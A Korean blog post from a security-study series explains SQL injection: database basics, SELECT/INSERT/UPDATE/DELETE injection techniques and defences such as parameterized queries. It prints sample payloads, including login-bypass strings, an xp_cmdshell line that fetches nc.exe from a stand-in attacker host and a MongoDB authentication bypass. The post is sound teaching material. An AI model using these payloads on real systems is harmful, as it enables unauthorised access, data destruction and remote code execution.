[보안 공부] 6주 차 - SQL Injection 생각해 보기
이번 포스팅은, 강의 내용보다는 생각해 보는 공부입니다.
이유는 5주 차 CTF문제(특히 LoginBypass 3)를 풀면서 행했던 방법들이 6주 차 강의 내용과 중복되기 때문에, 강의 내용을 포스팅하는 것보다, 궁금했던 부분을 공부하는 게 효율적이라 생각했기 때문입니다.
이상하게도 앞의 질문 2개는 직관적이고 명쾌하게 알려주는 내용을 찾기가 어려워서 당황했는데, 구글 클라우드 설명서와 it world 뉴스 기사에서 잘 나와있었다.
내 생각과 조합하여 내린 결론은 사람이 이해하기 용이한 직관성과 사용하기 편한 편의성 때문이었다.
방대한 양의 도서를 보관 중인 도서관을 생각해 보면, 한국도서관 협회에서 만든 한국십진분류법을 따른다.
자연 과학 책을 찾으려면 자연히 400번 책장으로 발걸음을 옮기 듯이, 데이터베이스에서 데이터를 가지고 오려고 할 때는 자연스럽게 SELECT를 입력하고 있을 것이다. 21세기에 새로운 데이터베이스를 만든다고 하더라도, 인간이 이해하기 쉽도록 만들어야 하기 때문에 이 큰 틀에서 벗어날 수가 없다.
여기서, 관계형과 비관계형의 차이는, 비관계형은 속성-값 쌍(또는 문서, 그래프 등 다른 표현 방식도 존재)으로 간단하게 끝난 다는 것이고, 관계형 데이터베이스는 그 이상으로 그 테이블이 다른 테이블과도 관계를 짓고 있다는 점이다. 그래서 복잡하고 세밀한 데이터 저장이 가능한 반면 연산이 오래 걸릴 수 있다.
관계형 데이터베이스를 직관적으로 이해하고자 한다면 아래의 그림과 같이, 한국십진분류법 테이블에서 자연과학을 클릭하고, 자연과학 테이블에서, 지은이 : 칼 세이건 지은이 칼 세이건을 클릭하면, 칼 세이건 테이블이 나온다. 이 것이 바로 관계형 데이터베이스이다.
결론적으로, 인간이 쉽게 이해하고 사용하기 위해서, 2차원 형태의 속성(열)과 값(행)의 테이블로 정리를 해놓은 것이고, 이 방대한 데이터를 정리를 하다 보니, 1~2개의 테이블에 넣으면 활용도에 있어서 불편해지기 때문에, 때문에 여러 테이블로 쪼개고, 그 테이블 간의 관계를 설정함으로써 관계형 데이터베이스를 사용하는 것이다.
이런 관계형 데이터베이스에서 데이터를 쉽게 가져오기 위해 쿼리(질의) 형태로 만든 질의 언어, SQL을 사용하는 것뿐이다.
SQL은 1974년에 개발된 SEQUEL(Structured English QUEry Language)에서 유래되었고, 1986년부터 몇 차례 걸쳐서 SQL이 표준화되었다. // (출처-1)
DBMS(DataBase Management System)의 개수는 나무위키에만 봐도 27개 이상이 있다. // (출처-2)
2019년 3월 기준 TOP 12는 Oracle, MySQL, Microsoft SQL Server, PostgreSQL, MongoDB, IBM Db2, Microsoft Access, Reis, Elasticsearch, SQLite, Cassandra, MariaDB로 나와 있다.
흥미로운 점은 MS-Office 설치 시 설치되는 Access가 꽤 사용된다는 점이다.
Not Only SQL로써, SQL을 배제하는 것은 아니고, SQL에 부족한 부분을 채우기 위해 나타났다.
관계형 데이터베이스와 SQL이 엄격한 스키마(설계도나 제약 조건 정도로 생각하면 좋을 것 같다.) 아래에 있는 반면 NOSQL은 형식에 크게 구애받지 않고 다양한 형식의 데이터를 저장하는 것이 가능하다.
그렇기 때문에, 복잡한 데이터 처리가 어렵다. 또한, 그렇기 때문에 간단한 데이터를 저장하고 방대한 양을 처리하기에 적합하다. ☞ 빅데이터 처리에 적합
NOSQL - 비관계형 DBMS 종류 : Apache Cassandra, Hadoop, MongoDB 등
원칙적으로는 어떤 프로그래밍 언어든 인터프리터나 컴파일러 양쪽 모두를 이용해서 실행될 수 있으며, 프로그래밍 언어 자체의 속성에 대한 상속에는 아무런 차이점도 없다. 그럼에도 불구하고 대부분의 프로그래밍 언어는 일반적으로 두 가지 방법 중 한 가지 방법으로만 실행되고, SQL, LDAP, Perl, PHP를 포함한 웹 애플리케이션에서 사용되는 대부분의 중요한 프로그래밍 언어는 인터프리터를 이용해서 실행된다. 인터프리터 언어가 실행되는 방법 때문에 코드 삽입이라는 취약점이 발생한다. (중략) 따라서 인터프리터에 의해 처리되는 코드는 사용자가 제공하는 데이터와 프로그래머가 작성한 명령과 뒤섞이게 된다. (중략) 인터프리터는 공격자의 입력 값이 마치 원래 프로그래머에 의해 정상적으로 입력되는 것이라고 생각한다. 따라서 공격에 성공하면 전체 애플리케이션에 대한 완벽한 권한을 가질 수 있다.
① 입력창에 따옴표를 넣어보고, 오류 메시지에 문법에러가 뜨면 따옴표를 거르지 않고 받는다는 뜻이다.
② 주석처리하기. -- , #같은 주석을 이용해서 뒷 구문을 무력화
③ 주석 대신 완전한 문장 만들기. 주석 대신 따옴표를 이용하여 완전한 구문을 만드는 방법도 있다.
④ OR '1'='1' 같은 쿼리를 이용해서, 개발자가 의도치 않은 모든 레코드를 반환받는다.
① SELECT : DB에서 정보를 추출하는 데 사용되며, 주로 사용자가 입력한 정보에 대한 결과를 보여줄 때 사용하는 명령문이다. 공격 시작 지점은 보통 쿼리 부분의 WHERE 조건문에서 이뤄진다. (중략) 때로 ORDER BY 구문이나 테이블과 칼럼의 이름처럼 SELECT 쿼리의 다른 부분에서 발생하기도 한다.
② INSERT : 테이블 안에 데이터 한 줄을 생성할 때 사용한다. 일반적으로 로그를 새로 생성하거나, 새로운 사용자를 만들거나, 새로운 주문서를 작성할 때 INSERT문을 사용한다.
예시문) INSERT INTO users (username, password, ID, privs) VALUES ('daf', 'secret', 2248, 1)
만약 이렇게 구성되어 있다면, 공격자는 테이블 안에 최고 관리자 권한을 가진 계정을 임의로 생성할 수 있다. 이 경우 DB 구조에 대한 정확한 이해가 필요하므로, 공격 시에 daf',)-- daf',1)-- daf',1,1)-- daf',1,1,1)-- 과 같은 공격을 시도해 볼 수 있다. 여기서 대부분의 DB는 정수형에서 문자형으로 묵시적 변환하기 때문에 필드의 개수를 파악하는데 정수형을 이용할 수 있다.
③ UPDATE : 테이블에 내에 존재하는 데이터 열에 대해 한 개나 그 이상의 데이터를 수정할 때 사용한다.
예시문 ) UPDATE user SET password = 'netsecret' WHERE user = 'marcus' and password = 'secret'
이 쿼리문은 현재 비밀번호가 옳은지 검증하고 난 후 이전 비밀번호가 옳다면 새로운 비밀번호로 수정한다. SQL Injection의 취약점이 존재한다면, marcus 부분에 다음과 같이 입력함으로써 관리자의 비밀번호를 수정할 수 있다. admin' --
주의해야 할 점은 쿼리 및 DB 구조를 모르는 상태에서 공격을 하기 때문에, 만약 admin' or 1=1-- 을 입력하면 모든 사용자의 비밀번호를 바꿔버린다. 기존의 비밀번호 데이터가 모두 없어지므로, 공격시도에 있어서 매우 조심해야 한다.
④ DELETE : 테이블 내에 존재하는 데이터 열에 대해 한 개나 그 이상의 데이터를 삭제할 때 사용하는 명령어이다.
UPDATE문과 마찬가지로 해당 테이블에서 상품 리스트를 제거하는 작업도 실제로는 UPDATE와 동일하게 동작하기 때문에 WHERE절에서 사용자의 입력 값을 받아 처리한다. 사용자가 입력한 SQL 인젝션 공격은 WHERE 조건문 부분을 변경하고 파괴해 버리기 때문에 공격의 영향은 UPDATE문에서 SQL 인젝션을 공격하는 것과 동일한 효과를 발휘한다.
▶부분적인 효과(잘못된 방어)
① 작은 따옴표 제거
→ 숫자 사용자 입력 데이터가 SQL 쿼리 안에 포함되면 이것은 작은따옴표 안에 일반적으로 포함되지 않는다. 따라서 공격자는 데이터 내용을 파괴할 수 있고 작은따옴표를 입력할 필요 없이 임의의 SQL을 입력할 수 있다.
→ 2차 SQL 인젝션 공격에서 처음으로 데이터베이스에 삽입될 때 안전하게 이스케이프로 처리된 데이터는 데이터베이스로부터 연속적으로 읽혀지고 난 후 또다시 전달된다. 그리고 작은 따옴표가 중복됐던 것은 데이터가 읽혀질 때 원래 형태와 같이 하나의 작은따옴표로 반환될 것이다.
② 저장 프로시저 사용
→ 오라클의 경우를 보다시피 잘못 만들어진 저장 프로시저는 자체에 SQL 인젝션 취약점을 갖고 있다. 유사한 보안 문제가 저장 프로시저 안에 SQL 문장을 수행할 때 발생하고, 이런 저장 프로시저는 보안 취약점이 발생하는 것을 방어하지 못하는 것이 사실이다.
→ 확실하고 강력한 저장 프로시저가 사용됐을지라도 사용자가 입력한 값을 안전하지 못한 방법으로 자겨올 경우에 SQL 인젝션 취약점이 발생한다. 예를 들어 사용자 등록 함수가 다음과 같은 방법으로 저장 프로시저에서 수행된다고 가정하자.
예시문) exec sp_RegisterUser 'joe', 'secret'
이 문장은 간단한 INSERT문만큼이나 취약하다. 예를 들어 공격자는 비밀번호 부분에 다음과 같이 입력할 수 있을 것이다.
예시문) foo'; exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--
비밀번호에 이렇게 입력하면 실제로 다음과 같이 처리된다.
예시문) exec sp_RegisterUser 'joe', 'foo'; exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--'
그리고 저장 프로시저는 제 역할을 제대로 다하지 못하고 공격자에게 특정 SQL인젝션 명령을 실행하게 한다.
▶매개변수화된 쿼리 (조건 有)
대부분의 데이터베이스와 애플리케이션 개발 플랫폼은 SQL 인젝션 취약점이 발생하는 것을 막기 위한 안전한 방법으로 신뢰하지 않는 입력 값을 처리하는 API를 제공한다. 매개변수화된 쿼리(prepared statement라고 알려진)에서 사용자가 입력해 만들어지는 SQL 문장은 다음 두 단계로 처리된다.
⑴애플리케이션은 쿼리의 구조를 열거하고, 사용자의 입력에 해당하는 각 항목에 대해 플레이스홀더를 이용한다.
⑵애플리케이션은 각 플레이스홀더의 내용을 열거한다.
결정적으로 두 번째 단계에서 열거되는 조작된 데이터가 첫 번째 단계에 들어서 만들어지는 쿼리의 구조를 알 수 있는 방법은 없다. 관련된 API는 이미 안전한 방법으로 쿼리 구조를 정의하고 플레이스홀더 데이터의 형태를 이루고 있기 때문에 SQL 문장 구조의 한 부분보다는 단지 데이터로서 해석된다.
(중략)
다음은 매개변수가 직접적으로 SQL에 포함되지 않고, 안전하게 실행되는 예제이다.
// 쿼리 구조를 정의
String queryText = "SELECT ename, sal FROM EMP WHERE enam = ? ;
// DB 연결 "con"을 통해 문장을 준비
stmt = con.prepareStatement(queryText);
// 플레이스 홀더의 첫 번째 ?에 해당하는 첫 번째 변수에 사용자 입력 값을 더함
stmt.setString(1, request.getParameter("name"));
// 쿼리를 실행
rs = stmt.executeQuery();
매개변수화된 쿼리가 SQL 인젝션 공격에 대해 효과적인 해결 방안이 되려면 다음 세 가지 중요한 조건들을 명심해야 한다.
⑴ 매개변수화된 쿼리는 모든 데이터베이스 쿼리에 대해 적용돼야 한다. (중략) ☞ 쓸 거면 항상 매개변수화된 쿼리를 써야 한다.
⑵ 쿼리에 삽입되는 모든 데이터 항목은 적절하게 매개변수화돼야 한다. (중략) ☞ SQL 쿼리 구조에 직접적으로 삽입되면 안 된다.
⑶ 매개변수 플레이스홀더는 쿼리에서 사용되는 칼럼이나 테이블 이름을 상술하기 위해서는 사용할 수 없다. (중략) ☞ SQL 쿼리를 작성할 때, 칼럼명이나 테이블명을 동적으로 바꾸기 위해 매개변수 플레이스홀더를 사용할 수 없다.
⑶의 보충 설명
☞ column_name = "age"
☞ cursor.execute("SELECT ? FROM users", (column_name,)) // 이렇게 쓸 수 없다.
칼럼명이나 테이블명을 동적으로 변경하려면 문자열 포매팅을 사용해야 한다. 하지만이 방법은 SQL 인젝션 공격에 취약할 수 있으므로 매우 조심해서 사용해야 한다.
문자열 포매팅을 사용할 때 (주의 필요)
☞ column_name = "age"
☞ query = f"SELECT {column_name} FROM users"
☞ cursor.execute(query)
이 방법은 매개변수 플레이스홀더를 사용할 수 없기 때문에 어쩔 수 없이 사용해야 할 때가 있지만, 반드시 입력 값의 유효성을 철저히 검증한 후 사용해야 한다.
▶더욱 철저한 방어
① 최소 권한 부여
→ 애플리케이션은 데이터베이스에 접근할 때 가능한 가장 낮은 권한을 이용해야 한다.
② 불필요한 기능 제거, 비활성화
③ 보안 패치 적용
(중략)
다음은 NoSQL의 데이터 저장소에 의해 사용되는 일반적인 쿼리 방법 중 일부이다.
① 키/값 조회
② XPath
③ 자바스크립트 같은 프로그래밍 언어
(중략)
NoSQL의 구현은 간단하기 때문에 많은 NoSQL은 데이터 접근과 데이터 저장소에 대한 인젝션이 어렵지 않게 발생하는 경우가 많다.
▶MongoDB에 인젝션
대부분의 NoSQL 데이터베이스는 유연한 프로그래밍 쿼리 메커니즘을 제공하기 위해 기존 프로그래밍 언어를 사용한다. 쿼리가 문자열 연결을 이요하는 경우 공격자는 데이터 문맥을 파괴하거나 쿼리 구문을 변경할 수 있다. MongoDb 데이터 저장소에 사용자 레코드를 기반으로 로그인을 수행하는 다음 예를 살펴보자.
$m = new Mongo();
$db = $m->cmsdb;
$collection = $db->user;
$js = "function() {
return this.username == '$username' & this.password == '$password';}";
$obj = $collection->findOne(array('$where' => $js));
if (isset($obj["uid"]))
{
$logged_in=1;
}
else
{
$logged_in=0;
}
$js는 자바스크립트 함수로, 동적으로 생성되는 코드는 사용자가 입력한 username과 password가 포함돼 있다. 공격자는 username을 다음과 같이 입력해 어떤 비밀 번호 없이도 인증 로직을 우회할 수 있다.
Marcus'//
결과적으로 만들어지는 자바스크립트는 다음과 같다.
function() {return this.username == 'Marcus'//' & this.password == 'aaa';}
참고자료 출처
1. 네이버 지식백과
데이터베이스 개론 : 기초 개념부터 빅 데이터까지 큰 흐름이 보이는 데이터베이스 교과서
https://terms.naver.com/entry.naver?docId=3431178&cid=58430&categoryId=58430
2. 나무위키
DBMS
3. (개정판) 웹 해킹&보안 완벽 가이드 / 지은이 : 데피드 스터타드, 마커스 핀토/ 옮긴이 : 김경곤, 자은경, 이현정 / 출판사 : 에이콘 / 발행 : 2014년 8월 29일 / 9장 데이터 저장소 공격
[보안 공부] 8주 차 - SQLi Point, SQLi 정리 (0) | 2024.06.12 |
---|---|
[보안 공부] 7주 차 - Error Based, Blind SQL Injection (1) | 2024.06.05 |
[보안 공부] 5주 차 - 게시판 파일 업로드 구현 (0) | 2024.05.22 |
[보안 공부] 4주 차 - Burp Suite, 게시판 구현, 과제 (0) | 2024.05.14 |
[보안 공부] 3주 차 - 로그인 구현, ID & PW 없이 쿠키로 로그인해 보기 (3) | 2024.05.05 |